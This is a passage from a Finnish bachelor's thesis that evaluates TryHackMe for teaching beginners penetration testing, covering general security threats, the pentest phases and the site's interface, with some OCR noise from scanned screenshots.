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TryHackMe:n kaytto tietoturvatestauksen opettelussa

Opinnaytetydn tavoitteena oli arvioida, miten TryHackMe-sivusto soveltuu aloittelijan
perehdyttamiseen tietoturvan ja tietoturvatestauksen alkeisiin. Tydssa kasitellaan neljaa eri
huonetta eli haastetta, joita sivusto tarjoaa ja pohditaan mitd ne opettavat ja tarjoavat kayttajalle
seka tutustutaan lyhyesti yleiseen tietoturvaan ja tietoturvauhkiin. Haasteiden tekniset osuudet
suoritetaan Kali Linux -kayttojarjestelmalla.

Tyo6ssa kasitellyt haasteet vaihtelevat taitovaatimuksen mukaan, jotta tydhon saataisiin mukaan
moninaisempia haasteita, mutta kaikki huoneet ovat melko yksinkertaisia ja helppoja. Huoneet
vaativat eritasoista |ahtotietoa eivatké kaikki huoneet perehdyta kayttajaa kovin syvallisesti.

Opinnaytetydn tuloksena selvisi, ettd TryHackMe-sivustolla on erittéi laaja valikoima materiaalia
tietoturvatestauksesta, mutta sen tarjoama teoria jdd vahalle. Koska kayttajat voivat luoda
huoneita itse, on myds joidenkin huoneiden ohjeet kehnoja tai vanhentuneita. Tydssa huomattiin
huoneiden komentoja, jotka eivat toimi kayttojarjestelmien nykyisilla versioilla. Iso osa huoneista
myo6s luottaa tydkaluihin, jotka vaativat erillistd asennusta ja useampien kayttojarjestelman
komponenttien paivittdmista, mutta naité vaiheita ei yleensa huoneissa kasitella.
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TryHackMe as a learning tool for penetration testing

The topic of the thesis was to evaluate how the TryHackMe website is suitable for introducing
beginners to the basics of information security and penetration testing. The study deals with four
different rooms, or challenges, that the site offers, and considers what they teach and offer the
user, and briefly introduces general cyber security and cyber security threats. The technical parts
of the challenges were performed using the Kali Linux operating system.

As a result of the work, it became clear that TryHackMe offers a very wide range of material
related to cyber security testing, but the theory it offers falls short. Since users can create rooms
themselves, the instructions for some rooms are also poor or outdated. In this study as well, we
came across commands offered by the rooms that do not work with the current versions of the
operating systems. A large part of the rooms also rely on tools that require separate installation
and updating of several components, but these steps are not usually handled in the rooms.

The challenges dealt with in the work vary according to the skill requirement in order to include
more diverse challenges in the work, but all the rooms are quite simple and easy.
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Kaytetty sanasto.

AD Kayttajahakemisto

CMS Sisallanhallintajarjestelméa

DDOS Palvelunestohytkkays

DHCP IP-osoitteiden jakamisprotokolla

DNS Internetin nimipalvelujarjestelma

Hash Kryptografinen tiiviste, jolla esimerkiksi salasanat peitetaan.
NMAP Porttiskannausohjelma

NSA National Security Agency, Yhdysvaltain kansallinen turvalli-

suusvirasto

OSINT Avoimen lahdekoodin tiedustelu

RDP Etakayttoprotokolla

Reverse shell Ohjelma, jolla saadaan kohteeseen luvaton komentokehote-
yhteys.

SAM Security account manager, sailoo kayttajien salasanoja.

Script Lyhyt ohjelma, joka koostuu koodista

SMB Tiedostonjakoprotokolla

SSH Suojattu komentoyhteys

VPN virtuaalinen erillisverkko



1. Johdanto

TryHackMe on brittilainen tietoturvatestauksen opetteluun perustuva sivusto, joka on
perustettu 2018 helpottamaan tietoturvatestauksen opettelua (TryHackMe 2023). Try-
HackMe on ensimmainen tyokalu, joka on kayttajaystavallinen aloittelijalle. Aikaisem-
min hieman vastaavanlaisia konsepteja on ollut ja on edelleenkin (esim. HackTheBox).
Nama on kuitenkint tarkoitettu jo kokenuille kayttajille, silla minkaanlaista ohjeistusta ei
ole. Sivuston idea on olla erittain helposti lahestyttava alku tietoturvan perehdyttami-
sessd, kun jopa 80 % materiaalista on ilmaista, mutta palvelussa on myds kuukausi-
maksu, jos haluaa paasyn loppuihin huoneisiin. Maksullisen version hinta on 10 $
kuussa tai opiskelijoille 8 $ kuussa. Sivusto koostuu eri "huoneista”, joista jokaisen on
tarkoitus opettaa jokin tietty asia tai konsepti. Jokaisessa huoneessa on omat paamaa-
rdnsa ja ohjeet niiden saavuttamiseksi. Iso osa huoneista vaatii jonkinlaisen Linux-poh-
jaisen, yleensé Kali-pohjaisen tietokoneen kayton, joka on tarkoitettu juuri tietoturvates-
taukseen, mutta myds muut Linux-jakelut toimivat, niihin vain joutuu asentamaan
enemman tybkaluja itse. Vaihtoehtona on my6és muutamia Windows-pohjaisia huo-
neita. TryHackMe antaa ilmaisen "attack boxin”, joka on selaimessa aukeava ikkuna
Kali-Linuxista. Tama "attack box” tyhjentyy joka kerta, kun sen sulkee, joten se ei ole
kovin hyva ratkaisu, jos palvelua kayttéaa paljon. Parhaaksi tavaksi olen todennut sen,
ettd asentaa oman Kali-pohjaisen virtuaalitietokoneen, jonne voi itse asentaa kaikkia
tarvittavia ohjelmia ja skripteja. Taman lisdksi oman virtuaalikoneen saa kustomoitua

juuri omia tarpeita varten.

Tietoturvatestaus on ala, jossa uusia ohjelmia tulee koko ajan lisda ja vanhojakin on lu-
kematon maaré. Jos kayttaa omaa virtuaalikonetta, pitaa se yhdistada TryHackMen
verkkoon VPN-yhteydelld. Tamé& kytkee oman laitteen TryHackMen omaan verkkoon,
muuten ei ole paasya huoneisiin. Suurin osa huoneista on erittain kaytannonlaheisia,
mutta osa on teoriapohjaisia ja koostuvat paddasiassa lukemisesta ja kysymyksiin vas-
taamisesta. Huoneet kasittelevét erittain laajan maaran eri aiheita, jotka liittyvat joko
tietoturvaan, tietoverkkoihin tai kayttojarjestelmiin. Aloittelija voi esimerkiksi aloittaa tie-
toturvaopiskelunsa opettelemalla Linuxin perusteet, siirtya sen jalkeen tietoverkkojen

perusteisiin ja lopulta itse tietoturvatestaukseen.

Tassa opinnaytetydssa tutkitaan alustan ulkoasua ja kaytettavyytta seka kasitellaén

neljaa eri huonetta tarkemmin. Lopuksi pohditaan mita aukkoja hyédynsimme
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huoneissa. Tyodn tarkoitus on tutustua kyseiseen alustaan ja pohtia tarkemmin, aut-
taako TryHackMe tietoturvatestauksen opettelussa, ja jos auttaa, niin kuinka paljon ja

miten.

2. Tietoturva yleisesti

Tietoturvalla tarkoitetaan digitaalisen tiedon suojaamista erilaisilta riskeilta ja luvatto-
malta kaytoltd sekd mahdollisen hydkkayksen tapahtuessa vahingon minimoimista.
Tietoturvan parantamiseksi on olemassa erilaisia standardeja ja yleisia kaytantoja, joita

tulee noudattaa
2.1 Tietoturvatestaus yleisesti

Tietoturvatestaus (penetration testing) tai eettinen hakkerointi tarkoittaa tietyn laitteen
tai verkon suojauksen murtamista taysin luvallisesti (Imperva n.d.). Yritykset kayttavat
tietoturvatestausta apunaan loytaddkseen mahdollisia haavoittuvuuksia tai tietoturvallisia
heikkouksia ymparistdstaan, joita mahdolliset ulkopuoliset kayttajat voisivat hyvaksi-

kayttaa, jotta ne voidaan tutkia ja paikata.

Tietoturvatestausta tehdessé pitdéd aina saada kirjallinen lupa ja pitdé sopia tarkkaan,
mitk& kohteet kuuluvat testauksen kohdealueeseen ja mitd hytkkaysmetodeja voidaan
kayttaa. Talla tavalla varmistetaan, etta kaikki tyoé on taysin laillista eiké voi tulla se-
kaannuksia siitd, onko paasty kasiksi tietoihin mihin ei olisi kuulunut olla paasya. Tieto-

turvatestaus voi myos olla osa laajempaa turvallisuusauditointia.

Alalle ei ole olemassa mitdan tarkkaa koulutusta, joten juuri TryHackMen kaltaiset pal-
velut ovat erittain tarkeitd, jotta uusia osaajia syntyisi lisaa. Vaikka palvelu ei luonnolli-
sesti tee kenestakaan ammattilaista, silla on hyva mahdollisuus luoda luja mielenkiinto

alaa kohtaa, joka taas mahdollistaa etenemisen tietoturvauralla.

Tietoturvatestauksessa kohdejarjestelmat lajitellaan yleensa kolmeen eri kategoriaan:
musta laatikko, harmaa laatikko ja valkoinen laatikko (black box, grey box ja white box).
Lajittelu maaraytyy sen mukaan, kuinka paljon ennakkotietoa jarjestelméasta on saata-
villa. Musta laatikko on naista niukin, ja siité ei yleensa ole muuta tietoa kuin koneen

nimi. White boxissa taas on yleensa saatavilla koko lahdekoodi, kun taas harmaa
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laatikko sijoittuu ndiden kahden valiin. Musta laatikko vastaa oikean maailman hakke-
rointihaastetta, silla yleensa ei ole mitdan tietoa mita kohde siséltaa. Valkoisia laatik-
koja taas kaytetdaan esimerkiksi yrityksen sisdisesti etsimaan virheita jarjestelmista (Yh-

dysvaltain sisdministerio n.d.)

Samoin kuin koneet, myds hakkerit lajitellaan kolmeen eri kategoriaan: musta hattu,
harmaa hattu ja valkoinen hattu (black hat, grey hat ja white hat). Musta hattu -hakkerit
kayttavat samoja tietoturvatestaustekniikoita paastakseen luvattomasti kiinni jarjestel-
miin, joihin heilla ei ole sallittua padsya, yleensa motiivina on joko maine tai raha.
Musta hattu -hakkerit toisin sanoen toimivat taysin laittomasti ja ovat myds vastuussa
isosta osasta internetissa kiertavista viruksista ja haittaohjelmista. Lisaksi he voivat

myyda palveluitaan my6s ulkopuolisille (Kaspersky, n.d.)

Valkoinen hattu -hakkerit tunnetaan myos eettisind hakkereina ja ovatkin yleenséa am-
matiltaan joko tietoturvatestaajia tai muita tietoturva-asiantuntijoita. Myos yksityiset ih-
miset voivat olla "valkohattuja”, esimerkiksi erilaisia "bug bounty” haasteita tekemalla.

Bug bountyt ovat haasteita, joissa erilaiset yritykset maksavat rahaa, jos heidan jarjes-

telmistaan Ioytaa tietoturva-aukon.

Harmaa hattu -hakkerit sijoittuvat naiden kahden véliin. Heilla ei ole vélttdAméatta lupaa
tehda tietoturvatesteja, mutta tarkoituksena ei mytskaan ole myyda saatua dataa tai
kayttaa sitd epaeettisesti. Kuitenkin lain silmissa tamakin toiminta on laitonta eika ikina

pida suorittaa tietoturvatesteja ilman kirjallista sopimusta.

2.2 Yleisia tietoturvauhkia

Kalastelu (phishing) tarkoittaa nimensa mukaisesti tiedon kalastelua. TAma tapahtuu
yleensa sahkopostin valitykselld, jossa esitetddn olevansa joku toinen. Yleensa joko
pyydetaan tietoja mihin ei normaalisti olisi padsya tai annetaan linkki sivulle, joka nayt-
taa alkuperaiselta ja luotettavalta, mutta oikeasti sen ainut tarkoitus on varastaa tietoja,
kuten esimerkiksi kirjautumistunnuksia. Paras tapa suojautua kalasteluhydokkaykselta
on aina tarkistaa viestin lahettdja ja jos viesti ohjaa verkkosivulle, tarkistaa verkkosivun
aitouden. Aina ndmakaan eivat riita ja viestia ei kannata avata, jos viestin aitous epai-

lyttda vahaakaan.

Kalastelusta on olemassa my@s erilaisia aliversiota, kuten esimerkiksi whale-phishing

ja spear-phishing. Whale-phishingissa kohteena on nimensa mukaisesti organisaation
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tarkeampia hahmoja eikad perustyontekijéita. Taman ideana on, etta jos ihminen kenella
on yrityksessa toimintakriittista dataa ja tietoa, lataa esimerkiksi kiristysohjelman, mak-
saa firma lunnasrahat paljon todenndkdisemmin. Spear-phishingissé taas kohteet vali-
taan tarkasti, eiké tietoa kalastalla kenelta tahansa. Kohteet tutkitaan tarkasti ja heille
lahetetddn henkilokohtaisesti raataloityja kalasteluviesteja. Yleensa tassa tapauksessa
my0Os sahkopostiviestin lahettdja on vaarennetty, etta viesti vaikuttaisi vielakin uskotta-
vammalta. Spear-phishing on huomattavasti tehokkaampaa kuin normaali kalastelu,

mutta se on myo6s paljon tydladmpaa ja hitaampaa. (Cisco, What is Phishing?, 2023c)

Man-in-the-middle (MitM) tunnetaan myés nimella eavesdropping eli salakuuntelu.
Hyokkaaja kaappaa kahden tai useamman tietokoneen valilla menevia paketteja ja
joko muokkaa, pudottaa tai luo tilalle kokonaan uusia omia paketteja. Tall6in uhrien va-
linen luottamuksellisuus ja datan yhtenaisyys on haavoittunut. (Cisco, Common cybe-
rattacks, 2023b)

Distributed Denial-of-service eli DDoS tai palvelunestohyokkays on hydkkays, jossa
hyokkaaja kayttaa useita, yleensa tuhansia, tietokoneita tukkimaan kohteen kaistaa,
katkaisten yhteyden ulkoverkkoon. Hyokkaaja kaappaa ensin tietokoneita kayttdonsa,
yleensa haittaohjelmien avulla. Taman jalkeen kaikki nama tietokoneet laitetaan lahet-
tamaan paketteja itse kohteeseen, yleensa palvelimeen tai palvelimiin. Denial-of-Ser-
vice-hyodkkayksia voi tehda myds vain yhdella tietokoneella, mutta se ei ole yhté teho-

kasta ja isku pystytaén katkaisemaan helposti (Cisco, What is a DDos Attack?, 2023f).

SQL-injektiossa syttetddn kohteen SQL-tietokantaan komentoja, jotka tulostavat tietoa
mihin ei normaalisti olisi paasya. Esimerkiksi erilaiset web-lomakkeet hyddyntavat
SQL-tietokantoja ja jos niita ei ole rakennettu turvallisesti, voidaan koko tietokanta tu-

lostaa yksinkertaisilla komennoilla lomakkeen kautta (Kingthorin, SQL-Injection, 2019).

Cross-Site Scripting -hytkkayksessa hyotkkaaja injektoi omaa koodiansa luotetulle
verkkosivulle. Kohteena on yleensa sivuston toiset kayttajat. Talta hyokkaykselta onkin
hankala suojautua, koska itse verkkosivu on luotettava ja turvallinen. Talla hyokkayk-
sella saadaan yleensa paasy kaikkeen dataan, mitd hyokkayksen uhri syottaa verkkosi-
vulle (KirstenS, Cross Site Scripting (XSS), 2019).

DNS-tunneloinnilla sivuston URL-osoite ohjaakin eri IP-osoitteeseen. DNS (Domain
Name Service) kdantaéa verkkosivuston nimen IP-osoitteeksi ja ohjaa kayttajan sen jal-
keen oikealle sivustolle. Tassa hydkkayksessa uhrin tietokone saadaan kayttdmaan

toista DNS-palvelinta esimerkiksi haittaohjelman avulla. Talléin sivustot voivat ohjautua
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taysin eri sivustoille kuin olisi oikeasti tarkoitus. Yleensa uusi haitallinen sivu on viela
tehty taysin alkuperaisen nakoiseksi, ettei kayttaja huomaisi eroa ja syottaisi taten tie-
tonsa sivustolle (Palo Alto Networks Cyberpedia, What is DNS tunneling?, 2023).

Haittaohjelmat ovat ohjelmia, joiden tarkoituksena on aiheuttaa vahinkoa uhrille. Ohjel-
mia on lukemattomia maaria ja tarkoituksia on myds erittéin paljon. Tunnetuimpia hait-
taohjelmatyyppeja ovat Troijan hevonen, kiristysohjelmat ja erindiset tietokonevirukset.
Koska haittaohjelmia ja niiden toimintamekanismeja on niin paljon, ei tdssa voida pu-

reutua niihin kaikkiin kovin tarkasti, mutta alla on kuitenkin lueteltuna yleisimpia haitta-

ohjelmia ja niiden toimintatapoja (Cisco, What is malware?, 2023d).

Kiristysohjelmat lukitsevat kohteen tietokoneen, kunnes uhri suostuu maksamaan lun-
nasrahat hyokkaajalle. Maksun jalkeen hyokkaaja lahettaa uhrille ohjeet, miten salaus
puretaan. Tassakin piilee aina omat riskinsa siing, ettei ohjeita ikina tulekaan ja néin
tietokone pysyy lukittuna. Yleensa kiristysohjelma kryptaa kaikki kohteessa olevat tie-
dostot eika salausta ole mahdollista murtaa ilman oikeaa avainta. Yleinen kehotus on,
ettei lunnaita kannata maksaa, koska se kannustaa rikollisia tekemaan entistakin
enemman kiristysohjelmahyokkayksia. Jos rikollinen jaa kiinni tasta, yleensa heidan sa-
lauksensa murretaan ja salausavaimet tulevat julkiseksi saataville verkkoon. Tahan ei
kannata luottaa, koska kiinnijaamiseen saattaa menna vuosia ja luonnollisesti kaikki ri-

kolliset eivat jaa kiinni (Cisco, What is malware?, 2023d).

Spyware on haittaohjelmistotyyppi, jonka tarkoituksena on vakoilla kohdejarjestelmaa
ja oppia siita ja sen kaytdsta mahdollisimman paljon. Naiden ohjelmien tarkoituksena
on saada haltuun esimerkiksi kayttajan eri tileja, kuten séhkoposti- ja verkkopankkitilit.
Melko yleisesti tama tapahtuu keylogger-tyyppisen haittachjelman avulla, joka tallentaa
jokaisen kayttajan tekeman nappaimistonpainalluksen ja lahettaa ne eteenpain hyok-
kaajalle. On myds vahemman haitallisempia vakoiluohjelmistoja, joiden tarkoitus on ke-

ratd muun muassa selaindataa mainosdataa varten (Cisco, What is malware?, 2023d).

Adware eli mainosohjelmiston tehtdva on nayttaa kayttajalle mainoksia vastoin taméan
tahtoa. Hyokkaajat voivat tienata rahaa nayttamalla naita mainoksia uhreilleen tai vaih-
toehtoisesti tienata pienen summan aina kun mainosta klikataan (Cisco, What is mal-
ware?, 2023d).

Troijalainen on haittaohjelma, joka esittaa olevansa taysin turvallinen tiedosto, esimer-
kiksi verkosta ladattu ohjelma tai séhkdpostin mukana saatu liite. Troijalaisen mukana

voi tulla minkalainen haittaohjelma tahansa, mutta yleisesti sen mukana tulee

TURUN AMK:N OPINNAYTETYO | Niklas Kujala



11

jonkinlainen "takaovi”, jonka kautta hydkkaaja saa uhrin tietokoneen haltuunsa. Yleisia

ovat myos aikaisemmin kasitellyt kiristysohjelmat (Cisco, What is malware?, 2023d).

Madot ovat haittaohjelmia, jotka leviavat hyvin aggressiivisesti ja nopeasti verkon si-
salla hyddyntéen laitteiden haavoittuvaisuuksia. Kun yksi verkossa oleva laite saa tar-
tunnan, skannaa mato tdman laitteen ja verkon ja levida toiseen laitteeseen, jos siihen
on mahdollisuus. Itse madon tarkoitus ei yleensa ole vahingoittaa tartutettuja laitteita,
mutta on mahdollista liittdd madon kylkeen muita, vahinkoa aiheuttavia haittaohjelmia.
Esimerkkeja madoista ovat Morris worm ja ExploreZip (Cisco, What is malware?,
2023d).

2.3 Tietoturvatestauksen historia

Jo vuonna 1965 amerikkalaiset turvallisuusasiantuntijat varoittivat hallitusta ja yrityksia,
etta kasvava tietokoneiden valinen viestinté luo riskin vaarinkaytoksille verkon kautta.
Vuonna 1967 jarjestetyssa Joint Computer -konferenssissa yli 15 000 tietoturva-asian-
tuntijaa keraantyi yhteen ja keskustelivat tietoturvamurtojen mahdollisuuksista. Tassa
tapahtumassa kayttoon otettiin termi "penetration testing”, joka on edelleenkin kay-
tossa. Itse tietoturvatestaus oli yhdysvaltalaisten RAND ja Advanced Research Pro-
jects Agency (ARPAN) keksinto. Erds puolustusalihankkija, joka kaytti tietokonettaan
uuden havittajalentokoneen suunnittelemiseen, halusi myyda "tietokoneaikaa” omalta
tietokoneeltaan muille etakayttgjille. Tama oli tuohon aikaa melko yleinen tapa. Aikaa
myytiin siten, etta tietty osa tietokoneen resursseista allokoitiin etékayttoad varten ja
ajan ostaja paasi siihen kasiksi omalta paatteeltdan. Tietokoneet olivat erittdin suuria ja
kalliita tuohon aikaan, joten tama oli kateva tapa saada tietokone kayttéon pienella kus-
tannuksella (Ware, H. 1970). Puolustusalihankkija kysyi lupaa Yhdysvaltain puolustus-
ministerioltd, jolla ei ollut vield olemassa mitdéan ohjeistusta aiheeseen liittyen. Puolus-
tusministerion alla toimiva ARPA, kysyi asiasta tyontekijaltddn Willis Warelta, joka ko-
kosi tiimin tutkimaan tietoturvaa asiaan liittyen. Aiheesta luotiin raportti nimelta "Secu-
rity Controls for Computer Systems”, jota pidetdan modernin tietoturvan kulmakivena

(Infosec Institute, The history of penetration testing, 2019).

TURUN AMK:N OPINNAYTETYO | Niklas Kujala



12

Vuonna 1970 Yhdysvaltojen hallitus ja sen alihankkijat alkoivat kayttaa "tiikeritiimeja”
joiden tarkoitus oli murtautua eri jarjestelmiin kayttaen tietoturvahaavoittuvuuksia. Kay-
tannossa kaikissa naissa testeissa tiimit lapaisivat kohteen tietoturvan. Tama kertoi tie-
toturvan olevan todella heikolla tasolla ja siita asti tietoturvaa on jatkuvasti pyritty kehit-
tdmaan téahan paivaan asti (Infosec Institute, The history of penetration testing, 2019).
Nykyaan alan yritykset tarjoavat erilaisia tietoturvatestaus- projekteja kaikenkokoisille
asiakkaille. Kuka tahansa voi opetella tietoturvatestausta eri palveluiden, kuten Try-

HackMe:n kautta

Tietoturvatestauksessa on olemassa perinteinen tyojarjestys, jonka tarkat tekniset toi-
menpiteet hieman vaihtelevat kohteen mukaan. Paasaantodisesti testaus kuitenkin

koostuu viidesta eri vaiheesta.

Ensimmainen vaihe on suunnittelu ja tiedustelu, joiden tarkoituksena on keratéa koh-
teesta mahdollisimman paljon tietoa ennen kuin itse kohteeseen otetaan minkaanlaista
yhteyttd. Suunnittelussa maaritetaan itse testauksen parametrit, kohteet, hyokkaystavat
sekéd mahdolliset varasuunnitelmat, jos joku menee pieleen. Tarkka suunnittelu mah-
dollistaa mahdollisimman monen muuttujan huomioonottamisen. Tiedustelun tarkoituk-

sena on kerata esimerkiksi verkko- ja verkkotunnusnimet seka kayttajat ja aikataulut.

Toinen vaihe on skannaus. Skannauksessa kaytetaan erilaisia tyokaluja, joilla tutkitaan
esimerkiksi kohteen avoimet portit ja mita palveluita kyseisien porttien kautta kulkee si-
saan ja ulos. Lisaksi mahdolliset hakemistot ja SMB-jaot on tarkeda tutkia ennen hyok-
kayksen aloittamista. Skannausvaihe on syyta tehda varoen, silld liian aggressiivisesta

skannauksesta voi tulla kohteelle halytys.

Kolmas vaihe on haavoittuvuuskartoitus. Tassa vaiheessa tutkitaan skannauksen tulok-
set ja yritetdan l0ytaa tietoturvahaavoittuvuuksia kohteesta. Vaiheessa voidaan esimer-
kiksi tutkia onko porteissa kaytéssa jokin vanha protokolla, jota voitaisiin hyédyntaa tai

pyorittddkod kohde vaikka verkkosivua johon voidaan kohdentaa hyokkays.

Neljannes vaihe on hyddyntaminen. Tama vaihe on niin sanottu toimintavaihe, jossa
itse hyokkays tapahtuu. Tassa vaiheessa hyddynnetdan loydettyja haavoittuvaisuuksia
ja tietoturva-aukkoja. Mita tarkemmin aikaisemmat vaiheet on suoritettu, sité todenna-

kéisemmin hydkkays onnistuu.

Viides eli viimeinen vaihe on loppuanalyysi, jossa itse testausta ja sen tulosta pohdi-

taan alusta loppuun. On tarkeda pohtia mik& onnistui ja mika ei. Tahan vaiheeseen
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kuuluu myds selkean loppuraportin laatiminen, jonka tulisi sisaltaa kaikki vaiheet alusta
loppuun, ja kaytetyt hyokkaykset ja miten tulevaisuudessa kohde voitaisiin suojata pa-
remmin. Jos kyseessa on oikean asiakasympaériston testaus, raportti lahetetdén asiak-
kaalle ja mahdollisesti myos I0ydetyt aukot korjataan (Imperva, Penetration testing,
n.d.)

3 TryHackMe-sivuston ulkoasu ja kaytt6liittyma

Alla on tarkemmin selitettyn& kuvan 1 punaisella numeroidut kohdat.

1. on ylapalkki, josta I16ytéa "Dashboardin” eli kyseisen etusivun, "learn” -vélilehden,
josta loytaa oppimissuuntaukset ja huoneet, "compete” jossa voi verrata omia pistei-
tansa muihin kayttjiin ja pelata "King of the Hill” -pelia eli niin sanottua vuorenvalloi-
tusta. Kyseisessa pelimoodissa kilpaillaan korkeintaan yhdeksan muun kayttajan
kanssa siitd, kuka pysyy virtuaalikoneen "root’-kayttajana kauiten, eli toisin sanoen koi-
tetaan saada taysi paasy tietokoneelle ja vahvistaa turvallisuutta sekéa estaa toisia kayt-
tdjid saamasta asemaasi tai hyvaksikayttaa tietoturvaheikkouksia ja paasta "root”-kayt-

tajaksi.

2. laatikko nayttaa sivuston kokonaiskayttajamaara ja oma tason kayttajamaarasta.
Esimerkissa oma tilini on sijalla 42 979 eli parhaimman 3 % joukossa kaikista kaytta-

jista.

3. "Skills Matrix” eli taitomatriisi nayttda osaamisesi pisteet eri taitoalueilla. Nama pis-
teet lasketaan sen mukaan, mité osioita olet tehnyt eri huoneista. Pisteet muuttuvat jat-

kuvasti tekemisesi perusteella.

4. Tama nayttdd oman tasosi, edistymisen seuraavaan tasoon ja tittelin. Tasoja on 1—
13 ja uusia tasoja saavuttaa saamalla pisteitd, joita saa aina kun antaa vastauksen
huoneessa. Tasoissa 8—13 on my6s oma titteli, joka nékyy tason perassa. Kuvassa

esimerkkina oma titteli "Omn1” eli taso 9.
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Complete rooms and upskill in security, all from your browser.
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Welcome Tasks -
Users who complete these are 2x more likely to succeed Workspaces
Complete a room Join workspaces to collaboratively hack with o @
: .
Geta 2 day hacking streak your team and access features like team e @
leaderboards and more s
Learning Path Join Workspace
Vour Progress: 6%
Continue with the Red Teaming path - &
\ Red Team Engagements 0 Questions 0
((\.‘»’ . Learn the steps and procedures of a red team engagement, including planning, Answered this week
frameworks, and documentation.
Red Team Threat Intel
Apply threat intelligence to red team engagements and adversary emulation.
3 Red Team OPSEC
® a Learn how to apply Operations Security (OPSEC) process for Red Teams. New Rooms
B Cryillic released @ Volatility
Dex01 released r
3. B ujohn released @ Traffic
Skills Matrix
As you learn, your skills matrix will grow 4 . Level
[Ox9][BMN1]
Friends nvite =

Hack with your friends

Kuva 1 TryHackMe:n etusivu, johon merkattu oleellisia asioita 1—4.

Etusivun ulkoasu on omasta mielestani hyvin toteutettuja se sisdltda kaiken oleellisen,
joskin ehka se on ehka hieman sekava. Tama voi olla uudelle kayttajalle hammenta-
vaa, eika valttamatta heti ymmarra mista pitéisi aloittaa. Uskoisin kuitenkin, ettd hen-

kild, joka on kiinnostunut tietoturvan opiskelusta, osaa helposti navigoida sivulla.

Kuvassa 1. ndkyvan "Learn” -vélilehden alta 16ytaa eri oppimispolut, jotka on suunnattu
eri tasoisille osaajille ja eri mielenkiinnon kohteille. Jokainen polku koostuu useasta
huoneesta ja polun suorittamisesta saa sertifikaatin. Oppimispolut eivat ole missaan
tietyssa jarjestyksessa, mutta jokaisessa nakyy vaikeustaso ja arvioitu toteuttamisaika,

jos haluaa tehda tietyn polun alusta loppuun.
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Kuvassa 2 on selostettu, mita polusta oppii, kenelle se on suunnattu ja mita olisi hyva
osata jo ennen polun aloittamista. Moduulin avaamalla nakee mitd huoneita se sisaltaa
ja tdmanhetkisen etenemisen niissa. Kuvassa 2 nakyy, ettd "Tutorial ja "Starting Out in
Cyber Sec” -huoneet on tehty loppuun asti, mutta "Introductory Researching” on kes-
ken. Oikeassa reunassa nékyy, kuinka paljon polkua on kokonaisuudessaan tehty (54
%) ja seuraava saavutus "achievement” jonka voi saada jatkamalla polkua. Oikeassa

reunassa nakyy myos ehdotettuja ammatteja, joissa voi olla hy6tya kyseisestéa polusta.
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Complete Beginner

The beginner path aims to give a broad intreduction to the different areas in Computer Security. This path will be looking at the following areas:

Basic Linux - Get Familiar with the linux command line.
Web Application Security - Learn web application security concepts through the OWASP Top 10
Network Security - Using essential tools like NMAP to enumerate infrastructure.
Scripting Challenges - Using Python and Bash to carry out different tasks.
= Privilege Escalation

Once you complete the beginner path, you should have learnt the fundamental knowledge for each spedific area, and use these core concepts to
build your understanding of more complex topics within the area.

X Prerequisites

You need a basic understanding of Fundamental computing prindiples and a broad understanding of the different areas of cyber security to complete this pathw
you do not already have these prerequisites, complete the and

Complete Beginner Introduction Certificate (2]
This se 1

on focuses on introducing you to the Tr;

learn h

Tutorial
Learn how to use & TryHacklMe room to stark your upskilling in cyber security.
Next Achievement 5/7
Starting Out In Cyber Sec
Learn about the different career paths in Cyber Security and how TryHackiMe can help t'aSh Crack:ar
Cracking all thos
hashes

Introduckory Researching
& brief introduction to research skills for pentesting

Linux Fundamentals
a any ser curity kools use Linux. Learn how to uze the Linux operating system, a critical hd

# &2  Network Exploitation Basics

v
B2 M Understand, enumerate and attack various networking services in real-wo ronments
% Web Hacking Fundamentals
‘i&:ﬁl ity es with web applications, and learn how to exploit them using dl
N Cryptography
* C_ graph: tial in security. Learn how it tv of A
- Windows Exploitation Basics
%i‘i Hacking Wind is of daunting. Grasp the fundamentals of core Windows concepts and Active h
Shells and Privilege Escalation -
Once you have initial ac n a machine, learn how to escalate your account privile
Basic Computer Exploitation
“ re our skills by exploiting a range of different applications and services, from n e
—

lation

Kuva 2. Tassa esimerkki "Complete Beginner” polusta, joka koostuu kahdeksasta eri
moduulista ja kolmestakymmenestéaneljasta eri huoneesta.

Kuva 2 Tassa esimerkki "Complete Beginner” polusta, joka koostuu kahdeksasta eri mo-
duulista ja kolmestakymmenestaneljasta eri huoneesta.
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"Learn” -vdlilehden alta |6ytaa eri oppimispolut, jotka ovat suunnattu eri tasoisille osaa-
jille ja eri mielenkiinnon kohteille. Oppimispolkuja on kirjoittamisen hetkella yksitoista
kappaletta ja niiden arvioitu kesto vaihtelee kahdestakymmenesténeljasta tunnista kuu-
teenkymmeneenneljdan tuntiin. Jokainen polku koostuu useasta huoneesta ja polun
suorittamisesta saa sertifikaatin. Oppimispolut eivat ole misséan tietyssa jarjestyk-
sessd, mutta jokaisessa nakyy vaikeustaso ja arvioitu toteuttamisaika, jos haluaa tehda

tietyn polun alusta loppuun.

Kayttéliittyma on erittain intuitiivinen ja sen kaytdn voi varmasti jokainen oppia erittain
nopeasti. Huoneita on helppo etsia ja oppimispolut antavat mahdollisuuden kayda huo-

neita lapi loogisessa jarjestyksessa.

4 Huoneet

Ensimmaiseksi pitda valita, haluaako kayttaa TryHackMen omaa attack boxia eli verk-
kopohjaista virtuaalikonetta, joka kayttaa Kali Linux-kayttdjarjestelmaa vai taysin omaa
virtuaalikonetta. Attack box on siitéa kaytannoéllinen, etta se ei vaadi asentamista omalle
tietokoneelle eika se siten myoskaan kayta oman tietokoneen resursseja. Tdméa sovel-
tuu hyvin, jos kaytéssa on hieman hitaampi tietokone tai jos levytila on vahissa. Toinen
vaihtoehto on kayttaa joko omaa tietokonetta tai omaa virtuaalikonetta. Itse kdytén tes-
taukseen omalle tietokoneelle VMwaren kautta asennettua Debian-pohjaista Kali Linux-
virtuaalikonetta. On olemassa useita tietoturvatestausta varten kehitettyja kayttojarjes-
telmid, kuten esimerkiksi BlackArch tai Parrot OS, mutta Kali Linux on néista ylivoimai-
sesti suosituin. Oma virtuaalikone mahdollistaa kayttojarjestelman kustomoimisen, eika
se resetoidu jokaisen sammutuksen jalkeen kuten attack box. Tama mahdollistaa usei-
den ohjelmien asentamisen ilman, etta tata taytyisi tehda joka kerta. Yhteys huoneisiin
saadaan OpenVPN-ohjelman kautta. OpenVPN on avoimen lahdekoodin VPN, joka si-
saltyy valmiiksi Kali Linux-kayttojarjestelmaan. Kaliin siséltyy myds useita tietoturvates-

taukseen tarkoitettuja ohjelmia.

4.1 Anthem

Anthem on aloittelijoille tarkoitettu huone, joka perustuu Anthem- nimisen blogin ympa-

rille. Huoneen tarkoitus on saada root-oikeudet blogia pyoérittdvaan palvelimeen. Tahan

TURUN AMK:N OPINNAYTETYO | Niklas Kujala


